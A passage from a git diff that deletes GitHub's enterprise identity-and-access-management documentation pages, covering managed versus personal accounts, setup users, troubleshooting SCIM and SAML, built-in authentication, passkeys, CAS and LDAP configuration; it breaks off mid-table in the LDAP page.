Authentication - - Enterprise - - Identity - - SSO -redirect_from: - - /admin/identity-and-access-management/understanding-iam-for-enterprises/identifying-the-best-authentication-method-for-your-enterprise - - /admin/identity-and-access-management/managing-iam-for-your-enterprise/identifying-the-best-authentication-method-for-your-enterprise - - /admin/identity-and-access-management/understanding-iam-for-enterprises/choosing-an-enterprise-type-for-github-enterprise-cloud ---- - -**Before** you create your enterprise account, you must choose an enterprise type: - -* Enterprise with personal accounts -* Enterprise with managed users - -To decide which is best for your enterprise, ask yourself the following questions. - -## Do you want to control users' accounts? - -{% data variables.product.prodname_emus %} may be right for your enterprise if you **don't want enterprise members to use their own personal accounts** to access your enterprise's resources. - -### Managed users - -{% data variables.product.prodname_emus %} provides a true SSO experience for users: -* You provision the accounts for your users. -* You ensure that user accounts conform with your company identity, by controlling usernames and email addresses. -* Users must authenticate with your identity management system, using SAML or OIDC. - -If you currently require your users to create a new personal account on {% data variables.product.prodname_dotcom_the_website %} to contribute to your company's resources, {% data variables.product.prodname_emus %} might be a better alternative. - -### Personal accounts - -If you do not choose {% data variables.product.prodname_emus %}: -* Each user must create, manage, and sign in to a **personal account** on {% data variables.product.prodname_dotcom_the_website %}. -* You can configure SAML authentication so that users must **also** authenticate to your external identity management system. {% data variables.product.prodname_dotcom %} links the user's personal account to an external identity on the identity management system. -* User provisioning is not available. You can use System for Cross-domain Identity Management (SCIM) to provision **access** to individual organizations. - -Consider personal accounts if using your external identity management system as the source of truth for user and access management would add too much complexity. For example, you do not have an established process for onboarding new users in the system. - -## Do you need to choose where your data is stored? - -To help you meet compliance requirements, {% data variables.product.prodname_ghe_cloud %} includes the option to store your enterprise's code and data in a specific region, on your own subdomain of {% data variables.enterprise.data_residency_site %}. See [AUTOTITLE](/admin/data-residency/about-github-enterprise-cloud-with-data-residency). - -If you adopt {% data variables.enterprise.data_residency %}, you **must** use {% data variables.product.prodname_emus %}. - -## Is your external identity management system supported? - -Consider whether you already use, or can adopt, a supported identity management system. - -### Managed users - -{% data variables.product.company_short %} partners with some developers of identity management systems to provide a "paved-path" integration with {% data variables.product.prodname_emus %}, which includes both authentication and provisioning. - -If you cannot use a paved-path integration, you can use another identity management system that **meets our guidelines**. - -For full details, see [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/about-enterprise-managed-users#identity-management-systems). - -### Personal accounts - -You can use any external identity management system that adheres to the **SAML 2.0** standard. - -{% data variables.product.company_short %} officially supports and tests some systems. See [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise#supported-identity-providers). - -## Do you need public repositories, gists, or {% data variables.product.prodname_pages %} sites? - -To prevent enterprise members from accidentally leaking corporate-owned content to the public, {% data variables.product.prodname_emus %} imposes **strong restrictions** on what users can do. -* {% data variables.enterprise.prodname_managed_users_caps %} cannot create public repositories, gists of any visibility, or {% data variables.product.prodname_pages %} sites that are visible outside the enterprise. -* For a full list of restrictions, see [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/abilities-and-restrictions-of-managed-user-accounts). - -Review the restrictions with your users, and confirm whether they will hinder your existing workflows. If so, an enterprise with personal accounts may be a better choice. - -## Do you require collaboration outside of your enterprise? - -{% data variables.enterprise.prodname_managed_users_caps %} can only contribute to repositories within your enterprise. If your developers must contribute to repositories outside of your enterprise (including private repositories), {% data variables.product.prodname_emus %} may not be right for you. - -For a managed user to collaborate outside your enterprise, they must also maintain a separate, personal account. The complexity of regularly switching between accounts can increase the risk of mistakenly leaking internal code to the public. For details of the required workflow, see [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/getting-started-with-enterprise-managed-users#support-developers-with-multiple-user-accounts). - -## Can your enterprise tolerate migration costs? - -If you already have an enterprise that uses personal accounts on {% data variables.product.prodname_dotcom_the_website %}, adoption of {% data variables.product.prodname_emus %} requires **migration to a new enterprise account**. To discuss this process, contact [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact). - -The migration process may require time or cost from your team. Confirm that this migration process is acceptable to your business and your users. If not, an enterprise with personal accounts may be the better choice. - -## Further reading - -* [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/deciding-whether-to-configure-saml-for-your-enterprise-or-your-organizations) diff --git a/content/admin/managing-iam/understanding-iam-for-enterprises/getting-started-with-enterprise-managed-users.md b/content/admin/managing-iam/understanding-iam-for-enterprises/getting-started-with-enterprise-managed-users.md deleted file mode 100644 index d81e98b6a0b7..000000000000 --- a/content/admin/managing-iam/understanding-iam-for-enterprises/getting-started-with-enterprise-managed-users.md +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: 'Getting started with {% data variables.product.prodname_emus %}' -shortTitle: Get started with managed users -intro: 'Learn how to create and configure an {% data variables.enterprise.prodname_emu_enterprise %}.' -versions: - ghec: '*' -type: overview -topics: - - Accounts - - Authentication - - Enterprise - - SSO -allowTitleToDifferFromFilename: true -redirect_from: - - /admin/identity-and-access-management/understanding-iam-for-enterprises/getting-started-with-enterprise-managed-users ---- - -Before your developers can use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_emus %}, you must follow a series of configuration steps. - -## Create a new enterprise account - -To use {% data variables.product.prodname_emus %}, you need a **separate type of enterprise account** with {% data variables.product.prodname_emus %} enabled. - -* To create an enterprise on {% data variables.product.prodname_dotcom_the_website %}, start a free 30-day trial of {% data variables.product.prodname_ghe_cloud %}, and choose **Enterprise with managed users**. See [AUTOTITLE](/admin/overview/setting-up-a-trial-of-github-enterprise-cloud). -* If you require {% data variables.enterprise.data_residency_short %}, contact {% data variables.contact.contact_enterprise_sales %}. - -### Understand where your enterprise is hosted - -{% data variables.product.prodname_emus %} are available on {% data variables.product.prodname_dotcom_the_website %} or, if you use {% data variables.enterprise.data_residency_short %}, on your own subdomain of {% data variables.enterprise.data_residency_site %}. - -The setup process for the environments is similar. However, you will need to **pay attention** to where your enterprise is hosted as you follow the process. For example, there may be differences in the application you need to use in your identity provider, or the configuration values you need to provide. - -## Create the setup user - -After we create your enterprise, you will receive an email inviting you to choose a password for the setup user, which is used to configure authentication and provisioning. The username is your enterprise's shortcode (chosen by you or randomly generated), suffixed with `_admin`. For example: `fabrikam_admin`. - -Using an **incognito or private browsing window**: - -1. Set the user's password. -1. Enable two-factor authentication (2FA), and save the recovery codes. See [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication). - - > [!WARNING] - > All subsequent login attempts for the setup user account will require a successful 2FA challenge response or the use of an enterprise recovery code to complete authentication. To avoid being locked out of your account, after enabling single sign-on, save your enterprise recovery codes. See [AUTOTITLE](/admin/managing-iam/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes#downloading-codes-for-an-enterprise-with-enterprise-managed-users). - -{% data reusables.enterprise-accounts.emu-password-reset-session %} - -{% data reusables.enterprise-accounts.emu-recommend-password-manager %} - - > [!NOTE] - > Once single sign-on has been configured on the enterprise, the setup user is only intended to be used going forwards for: - > - > * SCIM provisioning via its {% data variables.product.pat_generic %}. - > * To regain access to your enterprise in the event of an issue with your identity provider by utilizing the enterprise's SAML recovery codes. - > - > For other enterprise administration tasks, you should use a provisioned managed user account with the enterprise owner role. - -## Create a {% data variables.product.pat_generic %} - -{% data reusables.enterprise-accounts.emu-create-a-pat %} - -## Configure authentication - -{% data reusables.enterprise-accounts.emu-configure-authentication %} - -{% data variables.product.company_short %} offers a "paved-path" integration and full support if you use a partner IdP for both authentication and provisioning. Alternatively, you can use any system, or combination of systems, that conforms to SAML 2.0 and SCIM 2.0. However, support for resolving problems with these systems may be limited. For more details, see [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/about-enterprise-managed-users#identity-management-systems). - -## Configure provisioning - -{% data reusables.enterprise-accounts.emu-configure-provisioning %} - -## Manage organization membership - -{% data reusables.enterprise-accounts.emu-manage-org-membership %} - -## Support developers with multiple user accounts - -Developers may need to maintain separate, personal accounts for their work outside of your {% data variables.enterprise.prodname_emu_enterprise %}. You can help them manage multiple accounts by providing the following resources: - -* **On the command line**, developers can configure Git to simplify the process of using multiple accounts. See [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts). -* **In the web interface**, developers can switch between accounts without always needing to re-authenticate. See [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/switching-between-accounts). diff --git a/content/admin/managing-iam/understanding-iam-for-enterprises/index.md b/content/admin/managing-iam/understanding-iam-for-enterprises/index.md deleted file mode 100644 index 54f8fb446d79..000000000000 --- a/content/admin/managing-iam/understanding-iam-for-enterprises/index.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Understanding IAM for enterprises -intro: | - {%- ifversion ghec %} - You can invite existing personal accounts on {% data variables.location.product_location %} to be members of your enterprise, and you can optionally enable SAML single sign-on (SSO) to centrally manage access. Alternatively, you can use {% data variables.product.prodname_emus %} with SAML SSO to create and control the accounts of your enterprise members. - {%- elsif ghes %} - You can use {% data variables.product.prodname_ghe_server %}'s built-in authentication, or you can centrally manage authentication and access to your instance with CAS, LDAP, or SAML. - {%- endif %} -redirect_from: - - /enterprise/admin/categories/authentication - - /enterprise/admin/guides/installation/user-authentication - - /enterprise/admin/articles/inviting-users - - /enterprise/admin/guides/migrations/authenticating-users-for-your-github-enterprise-instance - - /enterprise/admin/user-management/authenticating-users-for-your-github-enterprise-server-instance - - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance - - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance - - /admin/identity-and-access-management/managing-iam-for-your-enterprise - - /admin/identity-and-access-management/understanding-iam-for-enterprises -versions: - ghec: '*' - ghes: '*' -topics: - - Accounts - - Authentication - - Enterprise - - Identity -children: - - /about-identity-and-access-management - - /about-saml-for-enterprise-iam - - /about-enterprise-managed-users - - /abilities-and-restrictions-of-managed-user-accounts - - /choosing-an-enterprise-type-for-github-enterprise-cloud - - /getting-started-with-enterprise-managed-users - - /changing-authentication-methods - - /allowing-built-in-authentication-for-users-outside-your-provider - - /troubleshooting-identity-and-access-management-for-your-enterprise -shortTitle: Understand enterprise IAM ---- - diff --git a/content/admin/managing-iam/understanding-iam-for-enterprises/troubleshooting-identity-and-access-management-for-your-enterprise.md b/content/admin/managing-iam/understanding-iam-for-enterprises/troubleshooting-identity-and-access-management-for-your-enterprise.md deleted file mode 100644 index 840d05b962be..000000000000 --- a/content/admin/managing-iam/understanding-iam-for-enterprises/troubleshooting-identity-and-access-management-for-your-enterprise.md +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Troubleshooting identity and access management for your enterprise -shortTitle: Troubleshoot IAM -intro: Review common issues and solutions for identity and access management for your enterprise. -versions: - ghec: '*' - ghes: '*' -type: how_to -topics: - - Accounts - - Authentication - - Enterprise - - Identity - - Security - - SSO - - Troubleshooting -redirect_from: - - /admin/identity-and-access-management/managing-iam-for-your-enterprise/troubleshooting-identity-and-access-management-for-your-enterprise - - /admin/identity-and-access-management/understanding-iam-for-enterprises/troubleshooting-identity-and-access-management-for-your-enterprise ---- - -{% ifversion ghec %} - -## Viewing external identity information for a user - -If a user is unable to successfully authenticate using SAML, it may be helpful to view information about the single sign-on identity that's linked to the user's account on {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity). - -{% endif %} - -## Username conflicts - -{% ifversion ghec %}If your enterprise uses {% data variables.product.prodname_emus %}, {% endif %}{% data variables.product.github %} normalizes the SCIM `userName` attribute value that is sent by an identity provider (IdP) in a SCIM API call to create each person's username on {% data variables.product.prodname_dotcom %}. If multiple accounts are normalized into the same {% data variables.product.prodname_dotcom %} username, a username conflict occurs, and only the first user account is created. For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication). - -{% ifversion ghec %} - -## Errors when switching authentication configurations - -If you're experiencing problems while switching between different authentication configurations, such as changing your SAML SSO configuration from an organization to an enterprise account or migrating from SAML to OIDC for {% data variables.product.prodname_emus %}, ensure you're following our best practices for the change. - -* [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account) -* [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-from-saml-to-oidc) -* [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-your-enterprise-to-a-new-identity-provider-or-tenant) - -## Accessing your enterprise when SSO is not available - -When a configuration error or an issue with your identity provider IdP prevents you from using SSO, you can use a recovery code to access your enterprise. For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable). - -## SCIM provisioning errors - -{% data reusables.scim.emu-scim-rate-limit-details %} - -Microsoft Entra ID (previously known as Azure AD) will retry SCIM provisioning attempts automatically during the next Entra ID sync cycle. The default SCIM provisioning interval for Entra ID is 40 minutes. For more information about this retry behavior, see the [Microsoft documentation](https://learn.microsoft.com/en-us/azure/active-directory/app-provisioning/how-provisioning-works#errors-and-retries) or contact Microsoft support if you need additional assistance. - -Okta will retry failed SCIM provisioning attempts with manual Okta admin intervention. For more information about how an Okta admin can retry a failed task for a specific application, see the [Okta documentation](https://support.okta.com/help/s/article/How-to-retry-failed-tasks-for-a-specific-application?language=en_US) or contact Okta support. -{% endif %} - -In an {% data variables.enterprise.prodname_emu_enterprise %} where SCIM is generally functioning properly, individual user SCIM provisioning attempts sometimes fail. Users will be unable to sign in until their account is provisioned to {% data variables.product.github %}. These individual SCIM user provisioning failures result in an HTTP 400 status code and are typically caused by issues with username normalization or username conflicts, where another user with the same normalized username already exists in the enterprise. See [AUTOTITLE](/admin/managing-iam/iam-configuration-reference/username-considerations-for-external-authentication). - -## SAML authentication errors - -If users are experiencing errors when attempting to authenticate with SAML, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication). - -{% ifversion ghec %} - -## Conflicting SAML identity errors - -{% data reusables.saml.conflicting-identity %} - -## Further reading - -* [AUTOTITLE](/admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/troubleshooting-team-membership-with-identity-provider-groups) -* [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management-for-your-organization) -{% endif %} diff --git a/content/admin/managing-iam/using-built-in-authentication/configuring-built-in-authentication.md b/content/admin/managing-iam/using-built-in-authentication/configuring-built-in-authentication.md deleted file mode 100644 index ecbe252728e5..000000000000 --- a/content/admin/managing-iam/using-built-in-authentication/configuring-built-in-authentication.md +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Configuring built-in authentication -intro: 'When you use the default authentication method, all authentication details are stored on {% data variables.location.product_location %}.' -permissions: 'Site administrators can configure authentication for a {% data variables.product.prodname_ghe_server %} instance.' -redirect_from: - - /enterprise/admin/user-management/using-built-in-authentication - - /enterprise/admin/authentication/using-built-in-authentication - - /admin/authentication/using-built-in-authentication - - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-built-in-authentication - - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-built-in-authentication - - /admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication -versions: - ghes: '*' -type: how_to -topics: - - Accounts - - Authentication - - Enterprise - - Identity -shortTitle: Configure built-in authentication ---- - -## About built-in authentication - -By default, {% data variables.product.prodname_ghe_server %} uses built-in authentication. Each person creates a user account on {% data variables.location.product_location %} from an invitation or by signing up, and then authenticates with the credentials for the account to access your instance. Your {% data variables.product.prodname_ghe_server %} instance stores the authentication information for the account. - -{% ifversion passkeys %} - -By default, users can use passkeys for built-in authentication, but you can disable passkeys for your instance. See [AUTOTITLE](/admin/managing-iam/using-built-in-authentication/disabling-passkeys-for-your-instance). - -{% endif %} - -You can prevent unauthenticated people from creating new user accounts on your instance. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups). - -{% data reusables.enterprise_user_management.alternatively-enable-external-authentication %} - -## Configuring built-in authentication - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.authentication %} -1. Under "Authentication", select **Built in authentication**. -{% data reusables.enterprise_user_management.two_factor_auth_header %} -{% data reusables.enterprise_user_management.2fa_is_available %} - -## Creating your account - -Once your instance has been created, you'll need to create your own admin account. - -1. On the "Create Admin Account" page at `http(s)://[hostname]/join`, type your username, password, and email address, then click **Create an account**. -{% data reusables.enterprise_site_admin_settings.sign-in %} - -## Next steps - -<a name="inviting-users"></a> - -After you configure built-in authentication and create your administrative account, you can invite people to create accounts and use your instance. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-built-in-authentication/inviting-people-to-use-your-instance). - -## Further reading - -* [AUTOTITLE](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications) diff --git a/content/admin/managing-iam/using-built-in-authentication/disabling-passkeys-for-your-instance.md b/content/admin/managing-iam/using-built-in-authentication/disabling-passkeys-for-your-instance.md deleted file mode 100644 index eee2c264fcac..000000000000 --- a/content/admin/managing-iam/using-built-in-authentication/disabling-passkeys-for-your-instance.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Disabling passkeys for your instance -intro: 'Learn how to disable passkeys for all users on your instance.' -permissions: 'Site administrators' -versions: - ghes: '>=3.14' -type: how_to -topics: - - Accounts - - Authentication - - Enterprise - - Identity -shortTitle: Disable passkeys ---- - -Passkeys are enabled by default. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.authentication %} -1. In the "Passkeys" section, deselect **Enable passkeys**. -{% data reusables.enterprise_management_console.save-settings %} - -## Further reading - -* [AUTOTITLE](/authentication/authenticating-with-a-passkey/about-passkeys) diff --git a/content/admin/managing-iam/using-built-in-authentication/disabling-unauthenticated-sign-ups.md b/content/admin/managing-iam/using-built-in-authentication/disabling-unauthenticated-sign-ups.md deleted file mode 100644 index 35c3754c9312..000000000000 --- a/content/admin/managing-iam/using-built-in-authentication/disabling-unauthenticated-sign-ups.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Disabling unauthenticated sign-ups -redirect_from: - - /enterprise/admin/articles/disabling-sign-ups - - /enterprise/admin/user-management/disabling-unauthenticated-sign-ups - - /enterprise/admin/authentication/disabling-unauthenticated-sign-ups - - /admin/authentication/disabling-unauthenticated-sign-ups - - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups - - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups - - /admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups -intro: 'If you''re using built-in authentication for {% data variables.location.product_location %}, you can block unauthenticated people from creating new user accounts on your instance.' -permissions: 'Site administrators can disable unauthenticated sign-ups on a {% data variables.product.prodname_ghe_server %} instance.' -versions: - ghes: '*' -type: how_to -topics: - - Accounts - - Authentication - - Enterprise - - Identity -shortTitle: Block unauthenticated sign-up ---- - -## About unauthenticated sign-ups - -{% data reusables.enterprise_user_management.built-in-authentication-new-accounts %} {% data reusables.enterprise_user_management.unauthenticated-sign-ups %} You can disable unauthenticated sign-ups and require an invitation to create a new user account on your instance. - -{% data reusables.enterprise_user_management.alternatively-enable-external-authentication %} - -## Disabling unauthenticated sign-ups - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.privacy %} -1. Deselect **Enable sign-up**. -{% data reusables.enterprise_management_console.save-settings %} diff --git a/content/admin/managing-iam/using-built-in-authentication/index.md b/content/admin/managing-iam/using-built-in-authentication/index.md deleted file mode 100644 index 68a577b70939..000000000000 --- a/content/admin/managing-iam/using-built-in-authentication/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Using built-in authentication -shortTitle: Built-in authentication -intro: 'If you don''t use a centralized, external system for your users'' identity, you can use built-in authentication to allow {% data variables.product.prodname_ghe_server %} to manage accounts and perform local authentication.' -versions: - ghes: '*' -topics: - - Accounts - - Authentication - - Enterprise -children: - - /configuring-built-in-authentication - - /inviting-people-to-use-your-instance - - /disabling-unauthenticated-sign-ups - - /disabling-passkeys-for-your-instance -redirect_from: - - /admin/identity-and-access-management/using-built-in-authentication ---- diff --git a/content/admin/managing-iam/using-built-in-authentication/inviting-people-to-use-your-instance.md b/content/admin/managing-iam/using-built-in-authentication/inviting-people-to-use-your-instance.md deleted file mode 100644 index a3481a25064d..000000000000 --- a/content/admin/managing-iam/using-built-in-authentication/inviting-people-to-use-your-instance.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Inviting people to use your instance -intro: 'When you use built-in authentication for {% data variables.product.prodname_ghe_server %}, you can invite people by email address to create a user account on your instance.' -versions: - ghes: '*' -permissions: 'Enterprise owners can invite people to create a user account on a {% data variables.product.prodname_ghe_server %} instance.' -type: how_to -topics: - - Accounts - - Authentication - - Enterprise - - Identity -shortTitle: Invite people -redirect_from: - - /admin/identity-and-access-management/using-built-in-authentication/inviting-people-to-use-your-instance ---- - -## About invitations for new users - -{% data reusables.enterprise_user_management.built-in-authentication-new-accounts %} {% data reusables.enterprise_user_management.unauthenticated-sign-ups %} - -You can disable unauthenticated sign-ups and require an invitation to create a new user account on your instance. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups). - -{% data reusables.enterprise_user_management.alternatively-enable-external-authentication %} - -## Inviting people to create a user account - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.invite-user-sidebar-tab %} -{% data reusables.enterprise_site_admin_settings.invite-user-reset-link %} - -If you've configured email for notifications on {% data variables.location.product_location %}, your instance will send the invitation to the provided email address. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications). diff --git a/content/admin/managing-iam/using-cas-for-enterprise-iam/index.md b/content/admin/managing-iam/using-cas-for-enterprise-iam/index.md deleted file mode 100644 index d85c39b93e43..000000000000 --- a/content/admin/managing-iam/using-cas-for-enterprise-iam/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Using CAS for enterprise IAM -shortTitle: CAS for enterprise IAM -intro: 'You can centrally manage accounts and access to {% data variables.location.product_location %} by integrating with your existing CAS identity provider (IdP).' -versions: - ghes: '*' -children: - - /using-cas -redirect_from: - - /admin/identity-and-access-management/using-cas-for-enterprise-iam ---- - diff --git a/content/admin/managing-iam/using-cas-for-enterprise-iam/using-cas.md b/content/admin/managing-iam/using-cas-for-enterprise-iam/using-cas.md deleted file mode 100644 index 15d983544ec1..000000000000 --- a/content/admin/managing-iam/using-cas-for-enterprise-iam/using-cas.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Using CAS -redirect_from: - - /enterprise/admin/articles/configuring-cas-authentication - - /enterprise/admin/articles/about-cas-authentication - - /enterprise/admin/user-management/using-cas - - /enterprise/admin/authentication/using-cas - - /admin/authentication/using-cas - - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas - - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-cas - - /admin/identity-and-access-management/using-cas-for-enterprise-iam/using-cas -intro: 'If you use Central Authentication Service (CAS) to centralize access to multiple web applications, you can integrate {% data variables.product.prodname_ghe_server %} by configuring CAS authentication for your instance.' -versions: - ghes: '*' -type: how_to -topics: - - Accounts - - Authentication - - Enterprise - - Identity - - SSO ---- - -## About CAS authentication for {% data variables.product.prodname_ghe_server %} - -CAS is a single sign-on (SSO) protocol that centralizes authentication to multiple web applications. For more information, see [Central Authentication Service](https://en.wikipedia.org/wiki/Central_Authentication_Service) on Wikipedia. - -After you configure CAS, people who use {% data variables.location.product_location %} must use a {% data variables.product.pat_generic %} to authenticate API or Git requests over HTTP(S). CAS credentials cannot be used to authenticate these requests. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -If you configure CAS, people with accounts on your identity provider (IdP) do not consume a user license until the person signs into {% data variables.location.product_location %}. - -{% data reusables.enterprise_user_management.built-in-authentication %} - -## Username considerations with CAS - -{% data reusables.enterprise_user_management.consider-usernames-for-external-authentication %} For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication). - -## CAS attributes - -The `username` attribute is required and should be set to the {% data variables.product.prodname_ghe_server %} username. - -No other attributes are available. - -## Configuring CAS - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.authentication %} -1. Under "Authentication", select **CAS**. -1. {% data reusables.enterprise_user_management.built-in-authentication-option %} -1. In the **Server URL** field, type the full URL of your CAS server. If your CAS server uses a certificate that can't be validated by {% data variables.product.prodname_ghe_server %}, you can use the `ghe-ssl-ca-certificate-install` command to install it as a trusted certificate. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-ssl-ca-certificate-install). -{% data reusables.enterprise.apply-configuration %} diff --git a/content/admin/managing-iam/using-ldap-for-enterprise-iam/index.md b/content/admin/managing-iam/using-ldap-for-enterprise-iam/index.md deleted file mode 100644 index b864ba63292f..000000000000 --- a/content/admin/managing-iam/using-ldap-for-enterprise-iam/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Using LDAP for enterprise IAM -shortTitle: LDAP for enterprise IAM -intro: 'You can centrally manage accounts and access to {% data variables.location.product_location %} by integrating with your existing LDAP directory.' -versions: - ghes: '*' -children: - - /using-ldap -redirect_from: - - /admin/identity-and-access-management/using-ldap-for-enterprise-iam ---- - diff --git a/content/admin/managing-iam/using-ldap-for-enterprise-iam/using-ldap.md b/content/admin/managing-iam/using-ldap-for-enterprise-iam/using-ldap.md deleted file mode 100644 index 093cbd3c8307..000000000000 --- a/content/admin/managing-iam/using-ldap-for-enterprise-iam/using-ldap.md +++ /dev/null @@ -1,222 +0,0 @@ ---- -title: Using LDAP -redirect_from: - - /enterprise/admin/articles/configuring-ldap-authentication - - /enterprise/admin/articles/about-ldap-authentication - - /enterprise/admin/articles/viewing-ldap-users - - /enterprise/admin/hidden/enabling-ldap-sync - - /enterprise/admin/hidden/ldap-sync - - /enterprise/admin/user-management/using-ldap - - /enterprise/admin/authentication/using-ldap - - /admin/authentication/using-ldap - - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap - - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-ldap - - /admin/identity-and-access-management/using-ldap-for-enterprise-iam/using-ldap -intro: 'If you use Lightweight Directory Access Protocol (LDAP) to centralize access across applications, you can integrate {% data variables.product.prodname_ghe_server %} by configuring LDAP authentication for your instance.' -versions: - ghes: '*' -type: how_to -topics: - - Accounts - - Authentication - - Enterprise - - Identity ---- - -## About LDAP authentication for {% data variables.product.prodname_ghe_server %} - -LDAP is a popular application protocol for access and maintenance of directory information services, and is one of the most common protocols for integration of third-party software with large company user directories. For more information, see [Lightweight Directory Access Protocol](https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol) on Wikipedia. - -If you use an LDAP directory for centralized authentication, you can configure LDAP authentication for the people who use {% data variables.location.product_location %}. - -{% data reusables.enterprise.saml-or-ldap %} - -{% data reusables.enterprise_user_management.built-in-authentication %} - -## Supported LDAP services - -{% data variables.product.prodname_ghe_server %} integrates with these LDAP services: - -* Active Directory -* FreeIPA -* Oracle Directory Server Enterprise Edition -* OpenLDAP -* Open Directory -* 389-ds - -## Username considerations with LDAP - -{% data reusables.enterprise_user_management.consider-usernames-for-external-authentication %} For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication). - -## Configuring LDAP with {% data variables.location.product_location %} - -After you configure LDAP, users will be able to sign into your instance with their LDAP credentials. When users sign in for the first time, their profile names, email addresses, and SSH keys will be set with the LDAP attributes from your directory. - -When you configure LDAP access for users via the {% data variables.enterprise.management_console %}, your user licenses aren't used until the first time a user signs in to your instance. However, if you create an account manually using site admin settings, the user license is immediately accounted for. - -> [!WARNING] -> Before configuring LDAP on {% data variables.location.product_location %}, make sure that your LDAP service supports paged results. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.authentication %} -1. Under "Authentication", select **LDAP**. -1. {% data reusables.enterprise_user_management.built-in-authentication-option %} -1. Add your configuration settings. - -## LDAP attributes - -Use these attributes to finish configuring LDAP for {% data variables.location.product_location %}. - -| Attribute name | Required | Description | -|--------------------------|----------|-------------| -| `Host` | {% octicon "check" aria-label="Required" %} | The LDAP host, e.g. `ldap.example.com` or `10.0.0.30`. If the hostname is only available from your internal network, you may need to configure {% data variables.location.product_location %}'s DNS first so it can resolve the hostname using your internal nameservers. | -| `Port` | {% octicon "check" aria-label="Required" %} | The port the host's LDAP services are listening on. Examples include: 389 and 636 (for LDAPS). | -| `Encryption` | {% octicon "check" aria-label="Required" %} | The encryption method used to secure communications to the LDAP server. Examples include plain (no encryption), SSL/LDAPS (encrypted from the start), and StartTLS (upgrade to encrypted communication once connected). | -| `Domain search user` | {% octicon "x" aria-label="Optional" %} | The LDAP user that looks up other users that sign in, to allow authentication. This is typically a service account created specifically for third-party integrations. Use a 